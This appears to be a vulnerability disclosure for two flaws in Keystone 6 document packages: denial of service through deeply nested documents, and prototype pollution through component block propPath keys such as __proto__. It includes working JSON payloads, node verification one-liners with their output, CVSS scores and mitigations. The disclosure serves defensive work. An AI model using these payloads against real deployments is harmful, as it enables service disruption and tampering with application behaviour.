Keystone Zero Day Research

- Document field validation can be abused for resource exhaustion
- Component block propPath can enable prototype pollution

Document field validation can be abused for resource exhaustion

Summary

Document input validation and normalization traverse the full document without explicit depth or size limits. Large or deeply nested documents can cause high CPU/memory usage.

CVSS

CVSS v4.0 Base Score: 5.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L)

Affected Packages

- @keystone-6/fields-document

Affected Versions

- Keystone 6.x (main branch behavior)

References

- fields-document index.ts
- validation.ts

Preconditions

- A list uses the document field.
- The GraphQL API is exposed to untrusted users.

Blackbox Test Steps

1. Submit a document payload with extreme depth or size through the public GraphQL API.
2. Observe CPU spikes or timeouts during validation and normalization.

Blackbox Payload (deep nesting)

```
[
  {
    "type": "paragraph",
    "children": [
      {
        "type": "paragraph",
        "children": [
          {
            "type": "paragraph",
            "children": [
              {
                "type": "paragraph",
                "children": [
                  {
                    "type": "paragraph",
                    "children": [
                      { "text": "x" }
                    ]
                  }
                ]
              }
            ]
          }
        ]
      }
    ]
  }
]
```

Observed Behavior

- Validation and normalization run on the entire tree.
- Very large inputs can cause high CPU or memory usage.

Verification (local)

```
pnpm -C packages/fields-document exec node --import tsx -e 'const {
validateAndNormalizeDocument } = (await import("./src/validation.ts")).default; const
documentFeatures={ formatting:{
```

```
inlineMarks:{bold:false,italic:false,underline:false,strikethrough:false,code:false,superscript:false,subscript:false,keyboard:false}, listTypes:{ordered:false,unordered:false}, alignment:{center:false,end:false}, headingLevels:[], blockTypes:{blockquote:false,code:false}, softBreaks:false }, links:false, dividers:false, layouts:[] }; const relationships={}; const componentBlocks={}; const makeDeep=n=>{ let node={ type:"paragraph", children:[{ text:"x" }] }; for(let i=0;i<n;i++){ node={ type:"paragraph", children:[node] }; } return [node]; }; const depth=200; const doc=makeDeep(depth); console.time("validate"); const out=validateAndNormalizeDocument(doc, documentFeatures, componentBlocks, relationships); console.timeEnd("validate"); console.log({depth, nodes: out.length});'
```

```
validate: 595.971ms
{ depth: 200, nodes: 1 }
```

```
pnpm -C packages/fields-document exec node --import tsx -e 'const { validateAndNormalizeDocument } = (await import("./src/validation.ts")).default; const documentFeatures={ formatting:{ inlineMarks:{bold:false,italic:false,underline:false,strikethrough:false,code:false,superscript:false,subscript:false,keyboard:false}, listTypes:{ordered:false,unordered:false}, alignment:{center:false,end:false}, headingLevels:[], blockTypes:{blockquote:false,code:false}, softBreaks:false }, links:false, dividers:false, layouts:[] }; const relationships={}; const componentBlocks={}; const makeDeep=n=>{ let node={ type:"paragraph", children:[{ text:"x" }] }; for(let i=0;i<n;i++){ node={ type:"paragraph", children:[node] }; } return [node]; }; const depth=800; const doc=makeDeep(depth); validateAndNormalizeDocument(doc, documentFeatures, componentBlocks, relationships);'
```

```
RangeError: Maximum call stack size exceeded
```

Impact

Untrusted users can trigger request?level denial of service by submitting oversized documents.

Mitigation Guidance

- Enforce maximum document depth/size at the API boundary.
- Reject large payloads early before normalization.

Whitebox Analysis

- The document field input resolver always invokes `validateAndNormalizeDocument` for provided JSON, with no size limit. fields-document index.ts
- Validation and normalization traverse the entire tree. validation.ts

Component block propPath can enable prototype pollution

Summary

Component block `propPath` allows arbitrary string keys. The renderer applies `propPath` with a recursive setter that does not block `__proto__`, `constructor`, or `prototype`, enabling prototype pollution when untrusted documents are rendered.

CVSS

CVSS v4.0 Base Score: 7.1 (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:L/SA:L)

Affected Packages

- @keystone-6/fields-document
- @keystone-6/document-renderer

Affected Versions

- Keystone 6.x (main branch behavior)

References

- structure-validation.ts
- document-renderer index.tsx

Preconditions

- Application renders untrusted document JSON that includes component blocks.
- Consumer renders component blocks with `DocumentRenderer`.

Blackbox Test Steps

1. Use the public API or UI that accepts document JSON to store a document with a component block containing `propPath` entries like `__proto__`.
2. Render the stored document in the frontend.
3. Observe side effects such as unexpected properties on freshly created objects.

Blackbox Payload (document JSON)

```
[
  {
    "type": "component-block",
    "component": "evil",
    "props": {},
    "children": [
      {
        "type": "component-block-prop",
        "propPath": ["__proto__", "polluted"],
        "children": [{ "text": "x" }]
      }
    ]
  }
]
```

Observed Behavior

- After rendering, newly created objects may have `polluted` set on the prototype chain.

Verification (local)

```
pnpm -C packages/document-renderer exec node --import tsx -e 'const { DocumentRenderer } = (await import("./src/index.tsx")).default; const document=[{type:"component-block",component:"evil",props:{},children:[{type:"component-block-prop",propPath:["__proto__","polluted"],children:[{text:"x"}]}]}]; const componentBlocks={ evil: () => null }; const root=DocumentRenderer({document, componentBlocks}); const isElement=x=>x&&typeof x==="object"&&"type" in x&&"props" in x; const flatten=ch=>Array.isArray(ch)?ch:[ch]; const walk=node=>{ if(node==null) return null; if(Array.isArray(node)){ for(const n of node){ const r=walk(n); if(r) return r; } return null; } if(!isElement(node)) return null; if(typeof node.type==="function"){ return walk(node.type(node.props)); } const children = node.props && node.props.children!=null ? flatten(node.props.children) : []; for(const c of children){ const r=walk(c); if(r) return r; } return null; }; walk(root); console.log({ pollutedOnEmpty: ({}).polluted, pollutedOnNew: (new (function(){})()).polluted });'
```

```
{
  pollutedOnEmpty: {
    '$$typeof': Symbol(react.transitional.element),
    type: [Function: DocumentNode],
    key: '0',
    props: { node: [Object], componentBlocks: [Object], renderers: [Object] },
    _owner: null,
    _store: {}
  },
  pollutedOnNew: {
    '$$typeof': Symbol(react.transitional.element),
    type: [Function: DocumentNode],
    key: '0',
    props: { node: [Object], componentBlocks: [Object], renderers: [Object] },
    _owner: null,
    _store: {}
  }
}
```

Impact

Prototype pollution can alter application behavior and security assumptions in downstream code.

Mitigation Guidance

- Reject `__proto__`, `constructor`, and `prototype` in `propPath`.
- Deep clone into objects created with null prototypes.

Whitebox Analysis

- `propPath` accepts arbitrary string keys in validation. structure-validation.ts
- `DocumentRenderer` applies `propPath` via a recursive setter without reserved key checks. document-renderer index.tsx